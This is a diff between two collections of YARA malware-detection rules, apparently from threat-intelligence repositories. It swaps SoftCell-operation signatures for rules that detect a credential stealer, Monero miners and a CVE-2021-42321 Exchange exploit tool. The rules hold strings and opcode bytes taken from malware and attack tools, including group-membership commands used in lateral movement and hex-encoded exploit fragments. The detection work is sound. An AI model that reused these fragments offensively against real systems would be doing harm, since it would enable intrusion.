-		$s4 = "start \"\" \"%CD%\\mcoemcpy.exe\"" fullword ascii
-		$s5 = "setup.bat" fullword ascii
-		$s6 = "ErroraErrors encountered while performing the operation" fullword wide
-		$s7 = "Please download a fresh copy and retry the installation" fullword wide
-		$s8 = "antivir.dat" fullword ascii
-		$s9 = "The required volume is absent2The archive is either in unknown format or damaged" fullword wide
-		$s10 = "=Total path and file name length must not exceed %d characters" fullword wide
-		$s11 = "Please close all applications, reboot Windows and restart this installation\\Some installation files are corrupt." fullword wide
-		$op0 = { e8 6f 12 00 00 84 c0 74 04 32 c0 eb 34 56 ff 75 }
-		$op1 = { 53 68 b0 34 41 00 57 e8 61 44 00 00 57 e8 31 44 }
-		$op2 = { 56 ff 75 08 8d b5 f4 ef ff ff e8 17 ff ff ff 8d }
+		$sq1 = { 55 8B EC 56 8B 75 08 57 56 E8 ?? ?? ?? ?? 8B F8 59 85 FF 75 04 33 C0 EB 20 56 6A 00 57 E8 ?? ?? ?? ?? 6A 0C E8 ?? ?? ?? ?? 83 C4 10 85 C0 74 E5 83 60 08 00 89 38 89 70 04 5F 5E 5D C3 }
+		$sq2 = { 55 8B EC 83 EC 0C 53 56 57 33 DB BE ?? ?? ?? ?? 53 53 56 6A 09 E8 ?? ?? ?? ?? 6A 10 6A 01 53 53 8D 4D F8 51 FF D0 53 53 56 6A 09 E8 ?? ?? ?? ?? 6A 08 6A 01 53 53 8D 4D F8 51 FF D0 85 C0 0F 84 2B 01 00 00 6A 24 E8 ?? ?? ?? ?? 59 8B D8 33 C0 6A 09 59 8B FB F3 AB 66 8B 4D 24 B8 03 66 00 00 C7 03 08 02 00 00 66 85 C9 74 03 0F B7 C1 8B 4D 08 33 D2 0F B7 C0 89 43 04 89 53 08 85 C9 74 12 C7 43 08 08 00 00 00 8B 01 89 43 0C 8B 41 04 89 43 10 8B 4D 0C 85 C9 74 0F 83 43 08 08 8B 01 89 43 14 8B 41 04 89 43 18 8B 4D 10 85 C9 74 0F 83 43 08 08 8B 01 89 43 1C 8B 41 04 89 43 20 8B 7B 08 8B 75 F8 83 C7 0C 52 52 68 ?? ?? ?? ?? 6A 09 E8 ?? ?? ?? ?? 8D 4D FC 51 6A 00 6A 00 57 53 56 FF D0 85 C0 74 75 8B 75 FC 33 C0 40 83 7D 20 00 0F 45 45 20 33 FF 57 57 68 ?? ?? ?? ?? 6A 09 89 45 F4 E8 ?? ?? ?? ?? 57 8D 4D F4 51 6A 04 56 FF D0 85 C0 74 3B 39 7D 14 74 1A 8B 75 FC 57 57 68 ?? ?? ?? ?? 6A 09 E8 ?? ?? ?? ?? 57 FF 75 14 6A 01 56 FF D0 8B 55 18 8B 4D FC 53 89 0A 8B 55 1C 8B 4D F8 89 0A E8 ?? ?? ?? ?? 33 C0 59 40 EB 21 FF 75 FC E8 BF FB FF FF 59 EB 02 33 FF 53 E8 ?? ?? ?? ?? 57 FF 75 F8 E8 6B FB FF FF 83 C4 0C 33 C0 5F 5E 5B 8B E5 5D C3 }
+		$sq3 = { 55 8B EC 83 EC 0C 53 8B 5D 0C 56 57 6A 10 33 F6 89 75 F8 89 75 FC 58 89 45 F4 85 DB 75 0E FF 75 08 E8 ?? ?? ?? ?? 8B D8 8B 45 F4 59 50 E8 ?? ?? ?? ?? 8B F8 59 85 FF 0F 84 B6 00 00 00 FF 75 F4 56 57 E8 C4 ?? ?? ?? 83 C4 0C 56 56 68 ?? ?? ?? ?? 6A 09 E8 ?? ?? ?? ?? 68 00 00 00 F0 6A 01 56 56 8D 4D F8 51 FF D0 85 C0 0F 84 84 00 00 00 8B 75 F8 6A 00 6A 00 68 ?? ?? ?? ?? 6A 09 E8 ?? ?? ?? ?? 8D 4D FC 51 6A 00 6A 00 68 03 80 00 00 56 FF D0 85 C0 74 51 6A 00 53 FF 75 08 FF 75 FC E8 7F FD FF FF 83 C4 10 85 C0 74 3C 8B 75 FC 6A 00 6A 00 68 ?? ?? ?? ?? 6A 09 E8 ?? ?? ?? ?? 6A 00 8D 4D F4 51 57 6A 02 56 FF D0 85 C0 74 19 FF 75 FC E8 16 FD FF FF 6A 00 FF 75 F8 E8 26 FD FF FF 83 C4 0C 8B C7 EB 0E 6A 00 FF 75 F8 E8 15 FD FF FF 59 59 33 C0 5F 5E 5B 8B E5 5D C3 }
+		$sq4 = { 55 8B EC 83 7D 10 00 56 57 8B 7D 0C 57 74 0E E8 ?? ?? ?? ?? 8B F0 33 C0 03 F6 40 EB 09 E8 ?? ?? ?? ?? 8B F0 33 C0 83 7D 14 00 59 75 24 50 FF 75 08 E8 2C 00 00 00 59 59 83 F8 01 74 04 33 C0 EB 1D 56 FF 75 08 E8 C5 FE FF FF 59 59 83 F8 01 75 EC 56 57 FF 75 08 E8 CA FE FF FF 83 C4 0C 5F 5E 5D C3 }
+		$sq5 = { 55 8B EC 53 56 8B 75 0C 57 85 F6 75 0B FF 75 08 E8 ?? ?? ?? ?? 59 8B F0 6B C6 03 89 45 0C 8D 58 01 53 E8 ?? ?? ?? ?? 8B F8 59 85 FF 74 42 53 6A 00 57 E8 ?? ?? ?? ?? 83 C4 0C 33 D2 85 F6 74 27 8B 45 08 0F B6 0C 02 8B C1 83 E1 0F C1 E8 04 8A 80 ?? ?? ?? ?? 88 04 57 8A 81 ?? ?? ?? ?? 88 44 57 01 42 3B D6 72 D9 8B 45 0C C6 04 07 00 8B C7 5F 5E 5B 5D C3 }
+		$sq6 = { 55 8B EC 53 56 57 FF 75 08 E8 ?? ?? ?? ?? 33 C9 6A 02 5B 8D B8 A0 1F 00 00 8B C7 F7 E3 0F 90 C1 F7 D9 0B C8 51 E8 ?? ?? ?? ?? 8B F0 59 59 85 F6 74 6F 8D 0C 3F 51 6A 00 56 E8 ?? ?? ?? ?? 8D 45 0C 50 FF 75 08 56 E8 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 8B F8 83 C4 1C 85 FF 74 40 33 C9 8D 47 02 F7 E3 0F 90 C1 F7 D9 0B C8 51 E8 ?? ?? ?? ?? 8B D8 59 85 DB 74 25 8D 0C 7D 02 00 00 00 51 6A 00 53 E8 ?? ?? ?? ?? 57 56 53 E8 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 83 C4 1C 8B C3 EB 09 56 E8 ?? ?? ?? ?? 59 33 C0 5F 5E 5B 5D C3 }
+		$sq7 = { 55 8B EC 81 EC 80 00 00 00 56 57 E8 ?? ?? ?? ?? 6A 1F 59 BE ?? ?? ?? ?? 8D 7D 80 F3 A5 33 C9 6A 02 5A 66 A5 8B 7D 08 8D 47 01 F7 E2 0F 90 C1 F7 D9 0B C8 51 E8 ?? ?? ?? ?? 8B F0 59 85 F6 74 4D 8D 04 7D 02 00 00 00 4F 89 45 08 53 50 6A 00 56 E8 ?? ?? ?? ?? 83 C4 0C 33 DB 85 FF 74 1C E8 ?? ?? ?? ?? 33 D2 6A 7E 59 F7 F1 D1 EA 66 8B 44 55 80 66 89 04 5E 43 3B DF 72 E4 56 E8 ?? ?? ?? ?? 3B F8 8B 45 08 59 77 C4 8B C6 5B EB 02 33 C0 5F 5E 8B E5 5D C3 }
+		$sq8 = { 55 8B EC 81 EC 50 02 00 00 53 56 57 6A 0A E8 ?? ?? ?? ?? 59 33 DB 6A 2E 5E 39 5D 14 0F 84 13 01 00 00 FF 75 08 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F0 59 59 85 F6 0F 84 F7 00 00 00 53 53 68 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 8D 8D B0 FD FF FF 51 56 FF D0 8B D8 83 FB FF 0F 84 CC 00 00 00 F6 85 B0 FD FF FF 10 0F 84 97 00 00 00 83 7D 1C 00 74 2E 8D 85 DC FD FF FF 68 ?? ?? ?? ?? 50 E8 0A ?? ?? ?? 59 59 85 C0 75 7A 8D 85 DC FD FF FF 68 ?? ?? ?? ?? 50 E8 F3 ?? ?? ?? 59 59 85 C0 75 63 8D 85 DC FD FF FF 50 E8 ?? ?? ?? ?? 59 83 F8 03 73 0C 6A 2E 58 66 39 85 DC FD FF FF 74 45 8D 85 DC FD FF FF 50 FF 75 08 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 0C 89 45 14 85 C0 74 27 6A 01 6A 00 6A 01 FF 75 10 FF 75 0C 50 E8 14 FF FF FF FF 75 14 8B F8 E8 ?? ?? ?? ?? 83 C4 1C 85 FF 0F 85 EE 00 00 00 33 C0 50 50 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8D 8D B0 FD FF FF 51 53 FF D0 85 C0 0F 85 3B FF FF FF 53 E8 ?? ?? ?? ?? 59 56 E8 ?? ?? ?? ?? 59 33 DB 6A 2E 5E FF 75 0C FF 75 08 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F8 83 C4 0C 85 FF 0F 84 CF 00 00 00 53 53 68 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 8D 8D B0 FD FF FF 51 57 FF D0 8B D8 83 FB FF 0F 84 A6 00 00 00 8D 85 DC FD FF FF 50 E8 ?? ?? ?? ?? 59 83 F8 03 73 09 66 39 B5 DC FD FF FF 74 3E 83 BD B0 FD FF FF 10 75 06 83 7D 18 00 74 2F 8D 85 DC FD FF FF 50 FF 75 08 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F0 83 C4 0C 85 F6 74 12 83 7D 10 00 74 40 56 FF 55 10 56 E8 ?? ?? ?? ?? 59 59 33 C0 50 50 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8D 8D B0 FD FF FF 51 53 FF D0 85 C0 74 29 6A 2E 5E EB 85 56 E8 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 59 59 8B C7 EB 22 57 E8 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 59 59 8B C6 EB 10 53 E8 ?? ?? ?? ?? 59 57 E8 ?? ?? ?? ?? 59 33 C0 5F 5E 5B 8B E5 5D C3 }
+		$sq9 = { 83 3D 14 ?? ?? ?? ?? 56 74 0A 8B 35 20 ?? ?? ?? 85 F6 75 66 53 57 BB E0 01 00 00 33 FF 53 89 3D 14 ?? ?? ?? E8 F0 F8 FF FF 33 F6 A3 14 ?? ?? ?? 46 59 85 C0 74 12 6A 78 57 50 89 35 20 ?? ?? ?? E8 A6 F8 FF FF 83 C4 0C 53 89 3D 18 ?? ?? ?? E8 C5 F8 FF FF A3 18 ?? ?? ?? 59 85 C0 74 14 6A 78 57 50 89 35 20 ?? ?? ?? E8 7E F8 FF FF 83 C4 0C EB 06 8B 35 20 ?? ?? ?? 5F 5B 8B C6 5E C3 }
+		$sq10 = { 55 8B EC 51 51 83 65 FC 00 53 56 57 64 A1 30 00 00 00 89 45 FC 8B 45 FC 8B 40 0C 8B 58 0C 8B F3 8B 46 18 FF 76 28 89 45 F8 E8 CE FA FF FF 8B F8 59 85 FF 74 1F 6A 00 57 E8 32 01 00 00 57 E8 ?? ?? ?? ?? 03 C0 50 57 E8 71 FA FF FF 83 C4 14 39 45 08 74 11 8B 36 3B DE 75 C6 33 C0 5F 5E 5B 8B E5 5D C2 04 00 8B 45 F8 EB F2 }
+		$sq11 = { A1 ?? ?? ?? ?? 85 C0 74 07 50 E8 ?? ?? ?? ?? 59 A1 ?? ?? ?? ?? 85 C0 74 07 50 E8 ?? ?? ?? ?? 59 A1 ?? ?? ?? ?? 85 C0 74 07 50 E8 ?? ?? ?? ?? 59 33 C0 A3 ?? ?? ?? ?? A3 ?? ?? ?? ?? A3 ?? ?? ?? ?? C3 }
+		$sq12 = { 55 8B EC 56 8B 75 0C 57 85 F6 74 48 56 E8 ?? ?? ?? ?? 59 85 C0 74 3D 56 E8 ?? ?? ?? ?? 59 85 C0 74 32 83 65 0C 00 8D 45 0C 6A 01 50 56 E8 ?? ?? ?? ?? 8B F8 83 C4 0C 85 FF 74 19 8B 45 0C 85 C0 74 12 83 7D 14 00 74 12 39 45 14 73 0D 57 E8 ?? ?? ?? ?? 59 33 C0 5F 5E 5D C3 83 7D 10 00 74 1A 6A 00 6A 01 56 E8 ?? ?? ?? ?? 59 50 FF 75 08 E8 1F 00 00 00 8B 45 0C 83 C4 10 50 57 FF 75 08 E8 FF FE FF FF 57 8B F0 E8 ?? ?? ?? ?? 83 C4 10 8B C6 EB C3 }
+		$sq13 = { 55 8B EC 83 EC 18 56 FF 75 08 E8 ?? ?? ?? ?? 50 89 45 F0 E8 ?? ?? ?? ?? 8B F0 59 59 85 F6 0F 84 C0 00 00 00 53 8B 5D 0C 33 C9 57 6A 04 5A 8B C3 F7 E2 0F 90 C1 F7 D9 0B C8 51 E8 ?? ?? ?? ?? 83 65 F4 00 8B F8 83 65 FC 00 59 85 DB 74 6D 8B 45 10 83 C0 FC FF 75 F0 83 C0 04 89 45 E8 6A 00 56 8B 00 89 45 EC E8 ?? ?? ?? ?? FF 75 F0 FF 75 08 56 E8 ?? ?? ?? ?? 83 65 F8 00 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 83 C4 20 EB 1F FF 75 EC 50 E8 ?? ?? ?? ?? 59 59 85 C0 75 32 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? FF 45 F8 59 59 85 C0 75 DD 8B 45 FC 40 89 45 FC 3B C3 8B 45 E8 72 99 56 E8 ?? ?? ?? ?? 59 39 5D F4 75 12 8B C7 EB 17 8B 45 FC 8B 4D F8 FF 45 F4 89 0C 87 EB D7 57 E8 ?? ?? ?? ?? 59 33 C0 5F 5B 5E 8B E5 5D C3 }
+		$sq14 = { 55 8B EC 8B 45 0C 53 56 8B 75 08 57 8B 4E 04 03 C1 8D 3C 09 3B F8 77 06 8D B8 F4 01 00 00 33 C9 8B C7 6A 04 5A F7 E2 0F 90 C1 F7 D9 0B C8 51 E8 ?? ?? ?? ?? 8B D8 59 85 DB 74 26 57 6A 00 53 E8 ?? ?? ?? ?? FF 76 08 FF 36 53 E8 ?? ?? ?? ?? FF 36 E8 ?? ?? ?? ?? 33 C0 89 1E 83 C4 1C 89 7E 04 40 5F 5E 5B 5D C3 }
+		$sq15 = { 55 8B EC 83 7D 0C 00 57 74 39 8B 7D 10 85 FF 74 32 56 8B 75 08 8B 46 08 03 C7 3B 46 04 76 09 57 56 E8 3F FF FF FF 59 59 8B 46 08 03 06 57 FF 75 0C 50 E8 ?? ?? ?? ?? 01 7E 08 83 C4 0C 33 C0 40 5E EB 02 33 C0 5F 5D C3 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <500KB and (pe.imphash()=="dbb1eb5c3476069287a73206929932fd" and all of them )
+		uint16(0)==0x5a4d and any of them
 }
-import "pe"
-
-rule TRELLIX_ARC_Trochilus_Softcell : TROJAN FILE
+rule TRELLIX_ARC_STEALER_Credstealesy : STEALER
 {
 	meta:
-		description = "Rule to detect Trochilus malware used in the SoftCell operation"
-		author = "Trellix ARC Team"
-		id = "81e942ae-936f-5952-8d50-ee8cec74520b"
-		date = "2019-06-25"
+		description = "Generic Rule to detect the CredStealer Malware"
+		author = "IsecG – McAfee Labs"
+		id = "90e23ed8-3243-519b-8eb4-9db5902c73d3"
+		date = "2015-05-08"
 		modified = "2020-08-14"
-		reference = "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/APT/APT_Operation_SoftCell.yar#L74-L106"
+		reference = "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/when-hackers-get-hacked-the-malware-servers-of-a-data-stealing-campaign/"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/stealer/STEALER_credstealer.yar#L1-L24"
 		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		logic_hash = "80a0841a08627acf11707f3aeef4e7c3777aecf04b932755efa618d7e92b0cda"
+		logic_hash = "3d007fc0d2e2eb3d8f0c2b86dd01ede482e72f6c67fd6d284d77c47b53021b3c"
 		score = 75
 		quality = 70
-		tags = "TROJAN, FILE"
+		tags = "STEALER"
 		rule_version = "v1"
-		malware_type = "trojan"
-		malware_family = "Trojan:W32/Trochilus"
-		actor_type = "Apt"
+		malware_type = "stealer"
+		malware_family = "Stealer:W32/CredStealer"
+		actor_type = "Cybercrime"
 		actor_group = "Unknown"
 
 	strings:
-		$s1 = "Shell.dll" fullword ascii
-		$s2 = "photo.dat" fullword wide
-		$s3 = "VW9HxtV9H|tQ9" fullword ascii
-		$s4 = "G6uEGRich7uEG" fullword ascii
-		$op0 = { e8 9d ad ff ff ff b6 a8 }
-		$op1 = { e8 d4 ad ff ff ff b6 94 }
-		$op2 = { e8 ea ad ff ff ff b6 8c }
+		$my_hex_string = "CurrentControlSet\\Control\\Keyboard Layouts\\" wide
+		$my_hex_string2 = {89 45 E8 3B 7D E8 7C 0F 8B 45 E8 05 FF 00 00 00 2B C7 89 45 E8}
 
 	condition:
-		uint16(0)==0x5a4d and filesize <200KB and (pe.imphash()=="8e13ebc144667958722686cb04ee16f8" and (pe.exports("Entry") and pe.exports("Main")) and all of them )
+		$my_hex_string and $my_hex_string2
 }
 import "pe"
 
-rule TRELLIX_ARC_Lg_Utility_Lateral_Movement_Softcell : UTILITY FILE
+rule TRELLIX_ARC_Trojan_Coinminer : FILE
 {
 	meta:
-		description = "Rule to detect the utility LG from Joeware to do Lateral Movement in the SoftCell operation"
-		author = "Marc Rivero | McAfee ATR Team"
-		id = "4f435348-427a-5f35-9545-5582033eb043"
-		date = "2019-06-25"
-		modified = "2020-08-14"
-		reference = "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/APT/APT_Operation_SoftCell.yar#L108-L143"
+		description = "Rule to detect Coinminer malware"
+		author = "Trellix ATR"
+		id = "ec1f4fb7-bce3-5d5b-bbff-50f9bfc90298"
+		date = "2021-07-22"
+		modified = "2022-01-19"
+		reference = "https://github.com/advanced-threat-research/Yara-Rules/"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/miners/Trojan_CoinMiner.yar#L3-L23"
 		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		logic_hash = "f88781b9632cd31bb9e3d68730c63c3fcd0ebe4a09b70b5b54d456cdc9ae8d01"
+		logic_hash = "0d9d502eb0a54f90044f42f8ce485a2df6814064172cb7bf006a8c8a51976acd"
 		score = 75
 		quality = 70
-		tags = "UTILITY, FILE"
-		rule_version = "v1"
-		malware_type = "utility"
-		malware_family = "Utility:W32/Joeware"
-		actor_type = "Apt"
-		actor_group = "Unknown"
+		tags = "FILE"
+		version = "v1"
+		hash1 = "3bdac08131ba5138bcb5abaf781d6dc7421272ce926bc37fa27ca3eeddcec3c2"
+		hash2 = "d60766c4e6e77de0818e59f687810f54a4e08505561a6bcc93c4180adb0f67e7"
 
 	strings:
-		$s1 = "lg \\\\comp1\\users louise -add -r comp3" fullword ascii
-		$s2 = "lg \\\\comp1\\users S-1-5-567-678-89765-456 -sid -add" fullword ascii
-		$s3 = "lg \\\\comp1\\users -sidsout" fullword ascii
-		$s4 = "Enumerates members of localgroup users on localhost" fullword ascii
-		$s5 = "Adds SID resolved at comp3 for louise to localgroup users on comp1" fullword ascii
-		$s6 = "CodeGear C++ - Copyright 2008 Embarcadero Technologies" fullword ascii
-		$s7 = "Lists members of localgroup users on comp1 in SID format" fullword ascii
-		$s8 = "ERROR: Verify that CSV lines are available in PIPE input. " fullword ascii
-		$op0 = { 89 43 24 c6 85 6f ff ff ff 00 83 7b 24 10 72 05 }
-		$op1 = { 68 f8 0e 43 00 e8 8d ff ff ff 83 c4 20 68 f8 0e }
-		$op2 = { 66 c7 85 74 ff ff ff 0c 00 8d 55 d8 52 e8 e9 eb }
+		$seq0 = { df 75 ab 7b 80 bf 83 c1 48 b3 18 74 70 01 24 5c }
+		$seq1 = { 08 37 4e 6e 0f 50 0b 11 d0 98 0f a8 b8 27 47 4e }
+		$seq2 = { bf 17 5a 08 09 ab 80 2f a1 b0 b1 da 47 9f e1 61 }
+		$seq3 = { 53 36 34 b2 94 01 cc 05 8c 36 aa 8a 07 ff 06 1f }
+		$seq4 = { 25 30 ae c4 44 d1 97 82 a5 06 05 63 07 02 28 3a }
+		$seq5 = { 01 69 8e 1c 39 7b 11 56 38 0f 43 c8 5f a8 62 d0 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <600KB and (pe.imphash()=="327ce3f883a5b59e966b5d0e3a321156" and all of them )
+		( uint16(0)==0x5a4d and filesize <5000KB and pe.imphash()=="e4290fa6afc89d56616f34ebbd0b1f2c" and 3 of ($seq*))
 }
-import "pe"
-
-rule TRELLIX_ARC_Mangzamel_Softcell : TROJAN FILE
+rule TRELLIX_ARC_MINER_Monero_Mining_Detection : MINER FILE
 {
 	meta:
-		description = "Rule to detect Mangzamel used in the SoftCell operation"
-		author = "Marc Rivero | McAfee ATR Team"
-		id = "b0473362-7e03-5127-aee5-b5a4f05bcc8e"
-		date = "2019-06-25"
-		modified = "2020-08-14"
-		reference = "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/APT/APT_Operation_SoftCell.yar#L145-L176"
+		description = "Monero mining software"
+		author = "Trellix ATR team"
+		id = "98ee7711-16ee-58e1-b52f-c68dd5f2b8a3"
+		date = "2018-04-05"
+		modified = "2022-01-19"
+		reference = "https://github.com/advanced-threat-research/Yara-Rules/"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/miners/MINER_Monero.yar#L1-L43"
 		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		logic_hash = "3666c645943eb8469096b8093c74e4d819299d3ffc2b99e37a506d8ef09e90c4"
+		logic_hash = "4c1815186b0eb9e6be5fb0fcad02fd981ac9cf79c485fe12ce4a73054ef9fda2"
 		score = 75
 		quality = 70
-		tags = "TROJAN, FILE"
+		tags = "MINER, FILE"
 		rule_version = "v1"
-		malware_type = "trojan"
-		malware_family = "Trojan:W32/Mangzamel"
-		actor_type = "Apt"
+		malware_type = "miner"
+		malware_family = "Ransom:W32/MoneroMiner"
+		actor_type = "Cybercrime"
 		actor_group = "Unknown"
 
 	strings:
-		$s1 = "Change Service Mode to user logon failure.code:%d" fullword ascii
-		$s2 = "spoolsvs.exe" fullword wide
-		$s3 = "System\\CurrentControlSet\\Services\\%s\\parameters\\%s" fullword ascii
-		$s4 = "Please Correct [-s %s]" fullword ascii
-		$s5 = "Please Correct [-m %s]" fullword ascii
-		$op0 = { 59 8d 85 64 ff ff ff 50 c7 85 64 ff ff ff 94 }
-		$op1 = { c9 c2 08 00 81 c1 30 34 00 00 e9 cf 9b ff ff 55 }
-		$op2 = { 80 0f b6 b5 68 ff ff ff c1 e2 04 0b d6 0f b6 b5 }
+		$1 = "* COMMANDS:     'h' hashrate, 'p' pause, 'r' resume" fullword ascii
+		$2 = "--cpu-affinity       set process affinity to CPU core(s), mask 0x3 for cores 0 and 1" fullword ascii
+		$3 = "* THREADS:      %d, %s, av=%d, %sdonate=%d%%%s" fullword ascii
+		$4 = "--user-agent         set custom user-agent string for pool" fullword ascii
+		$5 = "-O, --userpass=U:P       username:password pair for mining server" fullword ascii
+		$6 = "--cpu-priority       set process priority (0 idle, 2 normal to 5 highest)" fullword ascii
+		$7 = "-p, --pass=PASSWORD      password for mining server" fullword ascii
+		$8 = "* VERSIONS:     XMRig/%s libuv/%s%s" fullword ascii
+		$9 = "-k, --keepalive          send keepalived for prevent timeout (need pool support)" fullword ascii
+		$10 = "--max-cpu-usage=N    maximum CPU usage for automatic threads mode (default 75)" fullword ascii
+		$11 = "--nicehash           enable nicehash/xmrig-proxy support" fullword ascii
+		$12 = "<!--The ID below indicates application support for Windows 10 -->" fullword ascii
+		$13 = "* CPU:          %s (%d) %sx64 %sAES-NI" fullword ascii
+		$14 = "-r, --retries=N          number of times to retry before switch to backup server (default: 5)" fullword ascii
+		$15 = "-B, --background         run the miner in the background" fullword ascii
+		$16 = "* API PORT:     %d" fullword ascii
+		$17 = "--api-access-token=T access token for API" fullword ascii
+		$18 = "-t, --threads=N          number of miner threads" fullword ascii
+		$19 = "--print-time=N       print hashrate report every N seconds" fullword ascii
+		$20 = "-u, --user=USERNAME      username for mining server" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <300KB and (pe.imphash()=="ef64bb4aa42ef5a8a2e3858a636bce40" and all of them )
+		( uint16(0)==0x5a4d and filesize <4000KB and (8 of them )) or ( all of them )
 }
-import "pe"
-
-rule TRELLIX_ARC_Nbtscan_Utility_Softcell : UTILITY FILE
+/*
+ * YARA Rule Set
+ * Repository Name: Arkbird SOLG
+ * Repository: https://github.com/StrangerealIntel/DailyIOC
+ * Retrieval Date: 2024-09-01
+ * Git Commit: a873ff1298c43705e9c67286f3014f4300dd04f7
+ * Number of Rules: 214
+ * Skipped: 0 (age), 10 (quality), 0 (score), 0 (importance)
+ *
+ *
+ * LICENSE
+ *
+ * NO LICENSE SET
+ */
+rule ARKBIRD_SOLG_EXP_CVE_2021_42321_Nov_2021_1 : CVE_2021_42321 FILE
 {
 	meta:
-		description = "Rule to detect nbtscan utility used in the SoftCell operation"
-		author = "Marc Rivero | McAfee ATR Team"
-		id = "a2a8dd43-0d30-5da5-9dd3-6ba9f6473c40"
-		date = "2019-06-25"
-		modified = "2020-08-14"
-		reference = "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/APT/APT_Operation_SoftCell.yar#L178-L209"
-		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		logic_hash = "6079f1363578f82fd38971d0c8f69cc156f7f678c3f2be22c5d9c3748dc80b1f"
-		score = 75
-		quality = 45
-		tags = "UTILITY, FILE"
-		rule_version = "v1"
-		malware_type = "utility"
-		malware_family = "Utility:W32/NbtScan"
-		actor_type = "Apt"
-		actor_group = "Unknown"
+		description = "Detect CVE-2021-42321 exploit tool"
+		author = "Arkbird_SOLG"
+		id = "2efd58a1-e5c3-5596-b5fd-f6e2fe0ab620"
+		date = "2021-11-21"
+		modified = "2021-11-21"
+		reference = "https://gist.github.com/testanull/0188c1ae847f37a70fe536123d14f398"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-11-21/EXP_CVE_2021_42321_Nov_2021_1.yara#L1-L19"
+		license_url = "N/A"
+		logic_hash = "bf45f240875f3c3ab729fe623b6c97d0540c0d7d3e9b2e4beb88af6922f8a643"
+		score = 50
+		quality = 67
+		tags = "CVE-2021-42321, FILE"
+		hash1 = "537744916ce2e78748d301901c679307e8159101f3b194add89f6e1dfbf62c32"
+		tlp = "white"
+		level = "Experimental"
+		adversary = "-"
 
 	strings:
-		$s1 = "nbtscan 1.0.35 - 2008-04-08 - http://www.unixwiz.net/tools/" fullword ascii
-		$s2 = "parse_target_cb.c" fullword ascii
-		$s3 = "ranges. Ranges can be in /nbits notation (\"192.168.12.0/24\")" fullword ascii
-		$s4 = "or with a range in the last octet (\"192.168.12.64-97\")" fullword ascii
-		$op0 = { 52 68 d4 66 40 00 8b 85 58 ff ff ff 50 ff 15 a0 }
-		$op1 = { e9 1c ff ff ff 8b 45 fc 8b e5 5d c3 cc cc cc cc }
-		$op2 = { 59 59 c3 8b 65 e8 ff 75 d0 ff 15 34 60 40 00 ff }
+		$s1 = { 41 41 45 41 41 41 44 2f 2f 2f 2f 2f 41 51 41 41 41 41 41 41 41 41 41 4d 41 67 41 41 41 46 35 4e 61 57 4e 79 62 }
+		$s2 = "/ews/exchange.asmx" ascii
+		$s3 = { 48 74 74 70 4e 74 6c 6d 41 75 74 68 28 27 25 73 27 20 25 20 28 55 53 45 52 29 }
+		$s4 = { 22 55 73 65 72 2d 41 67 65 6e 74 22 3a 20 22 45 78 63 68 61 6e 67 65 53 65 72 76 69 63 65 73 43 6c 69 65 6e 74 }
+		$s5 = { 6d 56 6a 64 45 52 68 64 47 46 51 63 6d 39 32 61 57 52 6c 63 6a 34 4e 43 69 41 67 49 43 41 38 54 32 4a 71 5a 57 4e 30 52 47 46 30 59 56 42 79 62 33 5a 70 5a 47 56 79 49 48 67 36 53 32 56 35 50 53 4a 7a 5a 58 52 4e 5a 58 52 6f 62 32 51 69 49 45 39 69 61 6d 56 6a 64 45 6c 75 63 33 52 68 62 6d 4e 6c 50 53 4a 37 65 44 70 54 64 47 46 30 61 57 4d 67 59 7a 70 44 62 32 35 6d 61 57 64 31 63 6d 46 30 61 57 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and (pe.imphash()=="2fa43c5392ec7923ababced078c2f98d" and all of them )
+		filesize >3KB and 4 of them
 }
 import "pe"
 
-rule TRELLIX_ARC_Mimikatz_Utility_Softcell : HACKTOOL FILE
+rule ARKBIRD_SOLG_Ran_Mem_Ragnarlocker_Nov_2020_1 : FILE
 {
 	meta:
